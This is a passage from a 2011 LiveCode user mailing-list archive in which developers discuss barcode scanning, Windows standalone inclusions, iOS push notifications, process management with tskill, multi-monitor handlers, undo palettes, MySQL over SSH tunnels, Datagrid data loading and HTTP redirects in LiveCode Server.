converts text into the ASCII codes to generate Code128 subset A barcodes. You will need a Code128 font to display and print the codes when generated. There are plenty available but I use Riversedge fonts. Actually what I am looking for is a piece of software to scan the image (from the camera) of a barcode and import the barcode data into an iOS application. All the best, Paolo From keith at gulfbreezeortholab.com Wed Dec 7 04:12:17 2011 From: keith at gulfbreezeortholab.com (Keith (Gulf Breeze Ortho Lab)) Date: Wed, 7 Dec 2011 03:12:17 -0600 Subject: Answer dialog not showing in Windows 7 ??? Message-ID: Hello All, I am running Windows 7 Home Premium and LiveCode 5.0. I just noticed something and am at a loss... I created two simple stacks; one is a Launcher, and the other is the Main Application. See the following tutorial to see an example: http://lessons.runrev.com/s/lessons/m/4071/l/17375-How-do-I-save-custom-properties-in-a-standalone-application- For the Launcher stack, I created a standalone Windows .exe, and for the Main Application, I left it as a .livecode stack file that is launched by the Launcher.exe program. The standalone Launcher.exe application successfully opens the stack file, but the buttons on the stack file's dialog will not allow an answer dialog to open. For example, a button with the following code is on the Main Application (i.e., the stack file opened by the Launcher): on mouseUp answer "Cool!" end mouseUp When I click on the button, nothing happens. However, when running the stack within the LiveCode IDE, the button successfully launches the "Cool!" answer dialog... What am I missing here? I tried running the Launcher.exe as the administrator, but still no go... I also tried compiling using LiveCode 4.6.4, but no go. Thanks, - Boo From keith.clarke at clarkeandclarke.co.uk Wed Dec 7 04:17:17 2011 From: keith.clarke at clarkeandclarke.co.uk (Keith Clarke) Date: Wed, 7 Dec 2011 09:17:17 +0000 Subject: Are iOS push notifications needed for this use case? In-Reply-To: <23F7C2FA-931D-45F4-BDEF-B6C000B0C332@mac.com> References: <1AFE836C-F46B-4F27-B686-F4837040AF1E@clarkeandclarke.co.uk> <3F677924-1502-40CB-8CE0-A1873DFBC222@mac.com> <23F7C2FA-931D-45F4-BDEF-B6C000B0C332@mac.com> Message-ID: <76C265F8-3736-4D80-A798-B1C4E83356B9@clarkeandclarke.co.uk> ...thanks for the link, Tom. Interesting concept but I'm not sure if a per-user, service-based model could work for the app I have in mind (it introduces pricing issues for me and security concerns for my target market). Native support for push notifications would be so much easier! :-( Best, Keith.. On 7 Dec 2011, at 04:52, Thomas McGrath III wrote: > Keith, > The one that I am looking into is Urban Airship http://urbanairship.com/pricing/ but it is not free but does cover iOS Android and Blackberry? > > Basic Free is a pay per message version that I am looking into. THe API looks straight forward and might work with LC. > > HTHs > > -- Tom McGrath III > http://lazyriver.on-rev.com > 3mcgrath at comcast.net > > On Dec 6, 2011, at 12:13 PM, Keith Clarke wrote: > >> Thanks for the confirmation that it's push notifications I need, Tom. >> >> Before I put LiveCode on ice as a platform for iOS apps (as I've already had to for web apps), are there any examples of these third-party solutions that play nicely with LC? >> Best, >> Keith.. >> >> On 6 Dec 2011, at 14:40, Thomas McGrath III wrote: >> >>> Keith, >>> >>> As of this moment RunRev has not implemented the push notification APIs for iOS into LiveCode. There are third party solutions outside of LC. I also have a vital need for Push Notification. >>> >>> >>> -- Tom McGrath III >>> http://lazyriver.on-rev.com >>> 3mcgrath at comcast.net >>> >>> On Dec 6, 2011, at 5:36 AM, Keith Clarke wrote: >>> >>>> Hi folks, >>>> I'm considering LiveCode for an iOS app but I think I need push notification support. >>>> >>>> The use case is to alert users of app-specific messages waiting (even when the application is not active) and set the little 'messages waiting' counter on the app's icon. I'm looking for on-device behaviour much like with the Mail app. >>>> >>>> Is this use case supportable with LiveCode as-is or do I need to look elsewhere unless/until RunRev implement support for push notifications? >>>> Best, >>>> Keith.. >>>> >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From niconiko at gmail.com Wed Dec 7 05:07:38 2011 From: niconiko at gmail.com (Nicolas Cueto) Date: Wed, 7 Dec 2011 19:07:38 +0900 Subject: Answer dialog not showing in Windows 7 ??? In-Reply-To: References: Message-ID: Hello Boo (?), In the "General" tab of the "Standalone Application Settings" for your standalone ("Launcher.exe"), click the radio button "Select inclusions for the standalone application" and then check "Answer Dialog". I think what's happening is that, because there is no "answer" command anywhere in your standalone, the standalone-builder isn't including it. Following that logic, another way around this is to include an "answer" command in your standalone. In a hidden button, for example. By the way, from similar past experience I've learnt to be careful about relying on LC's icons for buttons. If the button with a particular icon is not in the standalone, that icon will not show on other stacks. Cheers. -- Nicolas Cueto From keith at gulfbreezeortholab.com Wed Dec 7 07:25:13 2011 From: keith at gulfbreezeortholab.com (Keith (Gulf Breeze Ortho Lab)) Date: Wed, 7 Dec 2011 06:25:13 -0600 Subject: Answer dialog not showing in Windows 7 ??? In-Reply-To: References: Message-ID: <9E932802CF424E8C84D6C06B01BB2A01@KeithPC> Thanks for the information, Nicolas! Sincerely, Keith "Boo" L. -----Original Message----- From: Nicolas Cueto Sent: Wednesday, December 07, 2011 4:07 AM To: How to use LiveCode Subject: Re: Answer dialog not showing in Windows 7 ??? Hello Boo (?), In the "General" tab of the "Standalone Application Settings" for your standalone ("Launcher.exe"), click the radio button "Select inclusions for the standalone application" and then check "Answer Dialog". I think what's happening is that, because there is no "answer" command anywhere in your standalone, the standalone-builder isn't including it. Following that logic, another way around this is to include an "answer" command in your standalone. In a hidden button, for example. By the way, from similar past experience I've learnt to be careful about relying on LC's icons for buttons. If the button with a particular icon is not in the standalone, that icon will not show on other stacks. Cheers. -- Nicolas Cueto _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From livfoss at mac.com Wed Dec 7 08:49:58 2011 From: livfoss at mac.com (Graham Samuel) Date: Wed, 07 Dec 2011 14:49:58 +0100 Subject: Preventing multiple instances of a Windows app - still a problem Message-ID: <0E91D4C7-E125-4046-869A-280A93166271@mac.com> Just to say that with a bit of work off-list, this issue was nailed for me by Mike Bonner (and thanks also to others who give info and suggestions). Basically in Windows XP Home (and I hope in Windows 7 etc), tskill will kill a task, and qprocess will give a list of running tasks (thanks, Phil Davis). So it is possible to query if a particular task is running (via say matchtext on the output of qprocess), and then to kill it from within a LiveCode script if we want to, via shell. The other big insight for me, as being ignorant of Windows conventions, is that asterisk (*) acts as a wild-card character in commands like tskill, which gets thrown by spaces, so it's ok to write: put shell("tskill troubling*app*) and then the app with the space in its name gets recognised. You need the asterisk at the end of the name too, because sometimes '.exe' isn't recognised, don't ask me why. Thanks again Graham From mcgrath3 at mac.com Wed Dec 7 09:01:31 2011 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Wed, 07 Dec 2011 09:01:31 -0500 Subject: Are iOS push notifications needed for this use case? In-Reply-To: <76C265F8-3736-4D80-A798-B1C4E83356B9@clarkeandclarke.co.uk> References: <1AFE836C-F46B-4F27-B686-F4837040AF1E@clarkeandclarke.co.uk> <3F677924-1502-40CB-8CE0-A1873DFBC222@mac.com> <23F7C2FA-931D-45F4-BDEF-B6C000B0C332@mac.com> <76C265F8-3736-4D80-A798-B1C4E83356B9@clarkeandclarke.co.uk> Message-ID: <87B60AE1-11B5-4E99-9F8C-DC28FAAB57DE@mac.com> I agree, I have been requesting Push Notification since the beginning of LC's transition to mobile. Maybe they will implement something soon. -- Tom McGrath III http://lazyriver.on-rev.com 3mcgrath at comcast.net On Dec 7, 2011, at 4:17 AM, Keith Clarke wrote: > ...thanks for the link, Tom. Interesting concept but I'm not sure if a per-user, service-based model could work for the app I have in mind (it introduces pricing issues for me and security concerns for my target market). > > Native support for push notifications would be so much easier! :-( > Best, > Keith.. > > On 7 Dec 2011, at 04:52, Thomas McGrath III wrote: > >> Keith, >> The one that I am looking into is Urban Airship http://urbanairship.com/pricing/ but it is not free but does cover iOS Android and Blackberry? >> >> Basic Free is a pay per message version that I am looking into. THe API looks straight forward and might work with LC. >> >> HTHs >> >> -- Tom McGrath III >> http://lazyriver.on-rev.com >> 3mcgrath at comcast.net >> >> On Dec 6, 2011, at 12:13 PM, Keith Clarke wrote: >> >>> Thanks for the confirmation that it's push notifications I need, Tom. >>> >>> Before I put LiveCode on ice as a platform for iOS apps (as I've already had to for web apps), are there any examples of these third-party solutions that play nicely with LC? >>> Best, >>> Keith.. >>> >>> On 6 Dec 2011, at 14:40, Thomas McGrath III wrote: >>> >>>> Keith, >>>> >>>> As of this moment RunRev has not implemented the push notification APIs for iOS into LiveCode. There are third party solutions outside of LC. I also have a vital need for Push Notification. >>>> >>>> >>>> -- Tom McGrath III >>>> http://lazyriver.on-rev.com >>>> 3mcgrath at comcast.net >>>> >>>> On Dec 6, 2011, at 5:36 AM, Keith Clarke wrote: >>>> >>>>> Hi folks, >>>>> I'm considering LiveCode for an iOS app but I think I need push notification support. >>>>> >>>>> The use case is to alert users of app-specific messages waiting (even when the application is not active) and set the little 'messages waiting' counter on the app's icon. I'm looking for on-device behaviour much like with the Mail app. >>>>> >>>>> Is this use case supportable with LiveCode as-is or do I need to look elsewhere unless/until RunRev implement support for push notifications? >>>>> Best, >>>>> Keith.. >>>>> >>>>> >>>>> _______________________________________________ >>>>> use-livecode mailing list >>>>> use-livecode at lists.runrev.com >>>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From admin at FlexibleLearning.com Wed Dec 7 09:15:23 2011 From: admin at FlexibleLearning.com (FlexibleLearning) Date: Wed, 7 Dec 2011 14:15:23 -0000 Subject: [TIP] Multiple screen management In-Reply-To: Message-ID: A useful handler when working with multiple monitors... on mouseUp --| Which monitor is this stack on? put activeScreen() end mouseUp function activeScreen --| Return the number of the monitor for the loc of the stack if num of lines of the screenRects = 1 then return 1 put item 1 of the loc of this stack into xOff repeat with n = 1 to num of lines of the screenRects put line n of the screenRects into thisRect if (xOff >= item 1 of thisRect) AND (xOff <= item 3 of thisRect) then return n end repeat --| Failsafe... return 1 end activeScreen Hugh Senior FLCo From keith.clarke at clarkeandclarke.co.uk Wed Dec 7 11:53:39 2011 From: keith.clarke at clarkeandclarke.co.uk (Keith Clarke) Date: Wed, 7 Dec 2011 16:53:39 +0000 Subject: Are iOS push notifications needed for this use case? In-Reply-To: <87B60AE1-11B5-4E99-9F8C-DC28FAAB57DE@mac.com> References: <1AFE836C-F46B-4F27-B686-F4837040AF1E@clarkeandclarke.co.uk> <3F677924-1502-40CB-8CE0-A1873DFBC222@mac.com> <23F7C2FA-931D-45F4-BDEF-B6C000B0C332@mac.com> <76C265F8-3736-4D80-A798-B1C4E83356B9@clarkeandclarke.co.uk> <87B60AE1-11B5-4E99-9F8C-DC28FAAB57DE@mac.com> Message-ID: <8C610B19-69CA-48B9-BE71-679F3A3F0901@clarkeandclarke.co.uk> I've raised the question on the dev list but my experience there over the last year suggests that the logic RunRev applies is something like... If 'when' is among the words of question, if feature is not among the items in released, set the visible of the question to false and exit to top ...and that was even before the recent policy announcement of 'Don't mention the roadmap'! ;-) Maybe we'll both get a pleasant surprise - I just hope it's before I've struggled to learn Apple's objective C (or whatever it is) or bought an alternative to LiveCode for mobile development. Best, Keith.. On 7 Dec 2011, at 14:01, Thomas McGrath III wrote: > I agree, I have been requesting Push Notification since the beginning of LC's transition to mobile. Maybe they will implement something soon. > > -- Tom McGrath III > http://lazyriver.on-rev.com > 3mcgrath at comcast.net > > On Dec 7, 2011, at 4:17 AM, Keith Clarke wrote: > >> ...thanks for the link, Tom. Interesting concept but I'm not sure if a per-user, service-based model could work for the app I have in mind (it introduces pricing issues for me and security concerns for my target market). >> >> Native support for push notifications would be so much easier! :-( >> Best, >> Keith.. >> >> On 7 Dec 2011, at 04:52, Thomas McGrath III wrote: >> >>> Keith, >>> The one that I am looking into is Urban Airship http://urbanairship.com/pricing/ but it is not free but does cover iOS Android and Blackberry? >>> >>> Basic Free is a pay per message version that I am looking into. THe API looks straight forward and might work with LC. >>> >>> HTHs >>> >>> -- Tom McGrath III >>> http://lazyriver.on-rev.com >>> 3mcgrath at comcast.net >>> >>> On Dec 6, 2011, at 12:13 PM, Keith Clarke wrote: >>> >>>> Thanks for the confirmation that it's push notifications I need, Tom. >>>> >>>> Before I put LiveCode on ice as a platform for iOS apps (as I've already had to for web apps), are there any examples of these third-party solutions that play nicely with LC? >>>> Best, >>>> Keith.. >>>> >>>> On 6 Dec 2011, at 14:40, Thomas McGrath III wrote: >>>> >>>>> Keith, >>>>> >>>>> As of this moment RunRev has not implemented the push notification APIs for iOS into LiveCode. There are third party solutions outside of LC. I also have a vital need for Push Notification. >>>>> >>>>> >>>>> -- Tom McGrath III >>>>> http://lazyriver.on-rev.com >>>>> 3mcgrath at comcast.net >>>>> >>>>> On Dec 6, 2011, at 5:36 AM, Keith Clarke wrote: >>>>> >>>>>> Hi folks, >>>>>> I'm considering LiveCode for an iOS app but I think I need push notification support. >>>>>> >>>>>> The use case is to alert users of app-specific messages waiting (even when the application is not active) and set the little 'messages waiting' counter on the app's icon. I'm looking for on-device behaviour much like with the Mail app. >>>>>> >>>>>> Is this use case supportable with LiveCode as-is or do I need to look elsewhere unless/until RunRev implement support for push notifications? >>>>>> Best, >>>>>> Keith.. >>>>>> >>>>>> >>>>>> _______________________________________________ >>>>>> use-livecode mailing list >>>>>> use-livecode at lists.runrev.com >>>>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>>> >>>>> >>>>> _______________________________________________ >>>>> use-livecode mailing list >>>>> use-livecode at lists.runrev.com >>>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From stephenREVOLUTION2 at barncard.com Wed Dec 7 13:00:21 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Wed, 7 Dec 2011 10:00:21 -0800 Subject: Mobile devices and barcodes In-Reply-To: References: <1323161462532-4163941.post@n4.nabble.com> <1323183548411-4164973.post@n4.nabble.com> Message-ID: The code you want would be like a OCR application, and would require a bit of special processing to work. Hi contrast, sharpening, THEN the character recognition, which should work at different angles. My point is this is not trivial code. After I made these statements, I did a web searchfor "bar code recognition" -- there seem to be quite a few SDK's for this now. But that mean you would still have to assemble or compile in a low level language or commission someone to build it it for LIvecode, that's the critical path. And if you want to 'roll your own from scratch' - take a look at this link below which appears to be a complete description of how to interpret barcodes in code: http://book.realworldhaskell.org/read/barcode-recognition.html Good psedocode examples. it almost looks "do-able" in Livecode. and here's a JAVASCRIPT demo: (revbrowser?) http://tobeytailor.s3.amazonaws.com/get_barcode_from_image/index.html and the code for above https://gist.github.com/421369 sqb On 6 December 2011 23:49, paolo mazza wrote: > Hi Nicolas, > I went through the Sara's Stacks: > > BarcodeTester > A very simple stack that reads data from a keyboard wedge barcode scanner. > It allows you to check the raw data transmitted by the scanner as well as > the ASCII data. > Category: UtilityLast Updated: Wed, Apr 29, 2009 > > Barcodes > A utility that converts text into the ASCII codes to generate Code128 > subset > A barcodes. You will need a Code128 font to display and print the codes > when > generated. There are plenty available but I use Riversedge fonts. > > Actually what I am looking for is a piece of software to scan the > image (from the camera) of a > barcode and import the barcode data into an iOS application. > > All the best, Paolo > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From capellan2000 at gmail.com Wed Dec 7 14:28:57 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Wed, 7 Dec 2011 14:28:57 -0500 Subject: Creating an Undo palette Message-ID: Hi All, I am trying to create an Undo function for one of my stacks. Not sucessful at all. Everything seems so simple, but it failed everytime. The model that I am using for this task is the "History palette" used in Photoshop: http://livedocs.adobe.com/en_US/Photoshop/10.0/help.html?content=WSfd1234e1c4b69f30ea53e41001031ab64-7497.html Now, I am asking for advice from all of you that have created similar function for your applications or stacks. Thanks in advance! Al From dunbarx at aol.com Wed Dec 7 15:20:38 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Wed, 7 Dec 2011 15:20:38 -0500 (EST) Subject: Creating an Undo palette In-Reply-To: References: Message-ID: <8CE8334D165E50D-1FE0-36C73@webmail-d172.sysops.aol.com> More than what the "undo" menuItem in the "edit" menu does? Is this undo mainly for typing in fields? Or for restoring other properties of objects (loc works with the native "undo")? Or (gulp) for undoing the actions of scripts? Craig Newman -----Original Message----- From: Alejandro Tejada To: use-livecode Sent: Wed, Dec 7, 2011 9:31 am Subject: Creating an Undo palette Hi All, I am trying to create an Undo function for one of my stacks. Not sucessful at all. Everything seems so simple, but it failed everytime. The model that I am using for this task is the "History palette" used in Photoshop: http://livedocs.adobe.com/en_US/Photoshop/10.0/help.html?content=WSfd1234e1c4b69f30ea53e41001031ab64-7497.html Now, I am asking for advice from all of you that have created similar function for your applications or stacks. Thanks in advance! Al _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From sl at trackandfieldnews.com Wed Dec 7 17:08:53 2011 From: sl at trackandfieldnews.com (Sieg Lindstrom) Date: Wed, 07 Dec 2011 14:08:53 -0800 Subject: connecting to MySQL database thru SSH tunnel Message-ID: I have an app for managing data in a MySQL database on a remote server. It?s worked fine for years but now I would like to route the connection thru an SSH tunnel. It uses a port number other than 3306 (PortNumberHere in the function example below). So I?ve changed the relevant function from this... put revOpenDatabase("MySQL","madeuphost.com","myDatabaseName","UserName","myPass word") into myDB ... which works fine through a normal web connection, to this for the SSH tunnel version... put revOpenDatabase("MySQL","localhost:PortNumberHere","myDatabaseName","UserNam e","myPassword") into myDB That doesn?t work. I get the following error message. ?Can?t connect to local MySQL server through socket ?tmp/mysql.sock? ? I?m using LiveCode 5.0.1 on Mac OSX. Is there a solution? Some other parameter I need to specify? I have sqlite sitting in the same directory as LiveCode. Could that be problematic? Thanks. Sieg From bobs at twft.com Wed Dec 7 18:21:14 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 7 Dec 2011 15:21:14 -0800 Subject: connecting to MySQL database thru SSH tunnel In-Reply-To: References: Message-ID: <4B1F0BEF-4ADE-440D-8709-D6246CC06168@twft.com> Help says: Syntax: revOpenDatabase("mysql",host[:port], databaseName, [userName],[password],[useSSL], [socket], [timeout], [autoReconnect]) Notice the new useSSL argument? All you have to do now is determine if the host accepts SSL connections, and if so, on what port. I am not sure what you mean by an ssh tunnel. Are you talking about a VPN? Bob On Dec 7, 2011, at 2:08 PM, Sieg Lindstrom wrote: > I have an app for managing data in a MySQL database on a remote server. It?s > worked fine for years but now I would like to route the connection thru an > SSH tunnel. It uses a port number other than 3306 (PortNumberHere in the > function example below). So I?ve changed the relevant function from this... > > put > revOpenDatabase("MySQL","madeuphost.com","myDatabaseName","UserName","myPass > word") into myDB > > ... which works fine through a normal web connection, to this for the SSH > tunnel version... > > put > revOpenDatabase("MySQL","localhost:PortNumberHere","myDatabaseName","UserNam > e","myPassword") into myDB > > That doesn?t work. I get the following error message. > > ?Can?t connect to local MySQL server through socket ?tmp/mysql.sock? ? > > I?m using LiveCode 5.0.1 on Mac OSX. Is there a solution? Some other > parameter I need to specify? I have sqlite sitting in the same directory as > LiveCode. Could that be problematic? Thanks. > > Sieg > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From matthias_livecode_150811 at m-r-d.de Wed Dec 7 19:39:40 2011 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Thu, 8 Dec 2011 01:39:40 +0100 Subject: LiveCodeServer: redirecting with 'put header' Message-ID: <132BA497-C14F-4861-A6F1-683F7B0D8826@m-r-d.de> Hi, i am trying to redirect to another URL with I tried it with 'put new header' also. I always get an Internal Server error. Does anyone know, how i can redirect with 'put header'? Tried it now with LiveCodeSerer 3.5, 4.64 and 5.0. Any suggestions? Regards, Matthias From gregory.lypny at videotron.ca Wed Dec 7 20:25:54 2011 From: gregory.lypny at videotron.ca (Gregory Lypny) Date: Wed, 07 Dec 2011 20:25:54 -0500 Subject: Confirming an FTP Upload In-Reply-To: References: Message-ID: <61380BEA-33C7-4B68-9332-845748FADCDC@videotron.ca> Hi Stephen, Thanks for the tip. I was aware that LiveCode does not do SFTP. I had to get my Mac to start running regular FTP to work with it. I am using a separate account. Regards, Gregory On Wed, Dec 7, 2011, at 8:50 AM, use-livecode-request at lists.runrev.com wrote: > You should know that the password and username are sent as plain text and > can be easily sniffed. This is NOT secure FTP and can expose an entire > account. Create a special FTP space for this purpose, not your website. > > Secure FTP is a long-awaited feature that is still not available in > livecode except with externals. > > sqb From martyknapp at comcast.net Wed Dec 7 20:27:39 2011 From: martyknapp at comcast.net (Marty Knapp) Date: Wed, 07 Dec 2011 17:27:39 -0800 Subject: Datagrid - GetDataForLine In-Reply-To: References: <4ED93D45.6000406@comcast.net> Message-ID: <4EE0128B.1030906@comcast.net> Hi all, Just got back to this after being away for a few days (celebrating my anniversary! For some weird reason "GetDataForLine" just wasn't on my mind . . .) And thanks to everyone who has chipped in on this. So how is pLine derived when using GetDataForLine? Do I supply that or does the datagrid supply/keep track of it? I'm assuming that when you hook this up to a database that you're able to bookmark where you left off, but what about when feeding it from a tab-delimied list from a custom property? (and yes, I know I need to dive into learning database stuff and have been eying SQLYoga. But I have a project I need to get working ASAP.) BTW (and this may be a dumb question) when accessing data in a custom property (read only) should one first put it into a variable or is it OK to access it directly? In other words is there anything wrong with this: repeat for each line pLine in the uData of this stack dostuff end repeat Any speed or memory issues? Thanks again, Marty K > Marty, I am no expert but let me share what I have learned over the past few weeks. > Don't be too concerned about the database examples. Look at the message handler carefully. > > command GetDataForLine pLine, @pDataA > > From pete at mollysrevenge.com Wed Dec 7 21:03:22 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 7 Dec 2011 18:03:22 -0800 Subject: Datagrid - GetDataForLine In-Reply-To: <4EE0128B.1030906@comcast.net> References: <4ED93D45.6000406@comcast.net> <4EE0128B.1030906@comcast.net> Message-ID: Hi Marty, I believe pline is sent along with GetDataForLine and is the line number that the datagrid is requesting information for. So assuming that the data in your custom property is in the same line sequence as the datagrid you would just use line pline of your custom property to populate the pDataA parameter of GetDataForLine. pDataA is an array with a key named for each column in your datagrid. What I don't know is what happens if the user sorts the data in the datagrid by clicking on a column header because then the datagrid rows will not be in the same sequence as the lines in your custom property :-( Normally, you'd deal with this by using the dgHIlitedIndex property of the datagrid but I don;t know how it works in conjunction with GetDataOfLine. Pete On Wed, Dec 7, 2011 at 5:27 PM, Marty Knapp wrote: > Hi all, > Just got back to this after being away for a few days (celebrating my > anniversary! For some weird reason "GetDataForLine" just wasn't on my mind > . . .) And thanks to everyone who has chipped in on this. > > So how is pLine derived when using GetDataForLine? Do I supply that or > does the datagrid supply/keep track of it? I'm assuming that when you hook > this up to a database that you're able to bookmark where you left off, but > what about when feeding it from a tab-delimied list from a custom property? > (and yes, I know I need to dive into learning database stuff and have been > eying SQLYoga. But I have a project I need to get working ASAP.) > > BTW (and this may be a dumb question) when accessing data in a custom > property (read only) should one first put it into a variable or is it OK to > access it directly? In other words is there anything wrong with this: > > repeat for each line pLine in the uData of this stack > dostuff > end repeat > > Any speed or memory issues? > > Thanks again, > Marty K > >> Marty, I am no expert but let me share what I have learned over the past >> few weeks. >> Don't be too concerned about the database examples. Look at the message >> handler carefully. >> >> command GetDataForLine pLine, @pDataA >> >> >> > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From sc at sahores-conseil.com Wed Dec 7 21:30:26 2011 From: sc at sahores-conseil.com (Pierre Sahores) Date: Thu, 8 Dec 2011 03:30:26 +0100 Subject: LiveCodeServer: redirecting with 'put header' In-Reply-To: <132BA497-C14F-4861-A6F1-683F7B0D8826@m-r-d.de> References: <132BA497-C14F-4861-A6F1-683F7B0D8826@m-r-d.de> Message-ID: <8FC76361-A61F-4FFA-8B49-D43486D327E2@sahores-conseil.com> Hi, get "" & return & \ "" & return & "" & return & \ "" & return & "" & return & \ "" & return & \ "widestep" & return & "" & return & \ "" & return & " " put it OK with Rev/LC server 3.5 to 5 HTH, Le 8 d?c. 2011 ? 01:39, Matthias Rebbe a ?crit : > Hi, > > i am trying to redirect to another URL > > with > > put "http://www.google.com" into tURL > put header "Status: 301" > put header "Location:" && tURL > ?> > > I tried it with 'put new header' also. I always get an Internal Server error. > > Does anyone know, how i can redirect with 'put header'? > > Tried it now with LiveCodeSerer 3.5, 4.64 and 5.0. > > Any suggestions? > > Regards, > > Matthias > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Pierre Sahores mobile : 06 03 95 77 70 www.sahores-conseil.com From capellan2000 at gmail.com Wed Dec 7 22:01:01 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Wed, 7 Dec 2011 19:01:01 -0800 (PST) Subject: Creating an Undo palette In-Reply-To: <8CE8334D165E50D-1FE0-36C73@webmail-d172.sysops.aol.com> References: <8CE8334D165E50D-1FE0-36C73@webmail-d172.sysops.aol.com> Message-ID: <1323313261385-4171407.post@n4.nabble.com> Hi dunbarx, The Undo palette should, in theory, record all the changes made by user in the properties of a control, from the most recent change to the very beginning of his creation. Many Thanks for your interest! Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Creating-an-Undo-palette-tp4170194p4171407.html Sent from the Revolution - User mailing list archive at Nabble.com. From jimaultwins at yahoo.com Wed Dec 7 22:17:14 2011 From: jimaultwins at yahoo.com (Jim Ault) Date: Wed, 7 Dec 2011 22:17:14 -0500 Subject: LiveCodeServer: redirecting with 'put header' In-Reply-To: <8FC76361-A61F-4FFA-8B49-D43486D327E2@sahores-conseil.com> References: <132BA497-C14F-4861-A6F1-683F7B0D8826@m-r-d.de> <8FC76361-A61F-4FFA-8B49-D43486D327E2@sahores-conseil.com> Message-ID: <8F077465-6F26-4F56-8DBD-3A995E03C300@yahoo.com> This is a version of the 'get' command that I use it requires less characters does not require a function call it is easier to read for me Note: in HTML the single and double quotes work the same way, and space runs count as only one space. get " rrr" & \ " rrr rrr" & \ " rrr rrr" & \ " rrr" & \ "widestep rrr rrr" & \ " rrr " replace "rrr" with CR in IT Jim Ault On Dec 7, 2011, at 9:30 PM, Pierre Sahores wrote: > Hi, > > get "" & return & \ > "" & return & "" & return & \ > "" & return & "" & return & \ > "" & return & \ > "widestep" & return & "" & return & \ > "" & return & " " > put it > > OK with Rev/LC server 3.5 to 5 > > HTH, > > Le 8 d?c. 2011 ? 01:39, Matthias Rebbe a ?crit : > >> Hi, >> >> i am trying to redirect to another URL >> >> with >> >> > put "http://www.google.com" into tURL >> put header "Status: 301" >> put header "Location:" && tURL >> ?> >> >> I tried it with 'put new header' also. I always get an Internal Server error. >> >> Does anyone know, how i can redirect with 'put header'? >> >> Tried it now with LiveCodeSerer 3.5, 4.64 and 5.0. >> >> Any suggestions? >> >> Regards, >> >> Matthias >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > -- > Pierre Sahores > mobile : 06 03 95 77 70 > www.sahores-conseil.com > > > > > 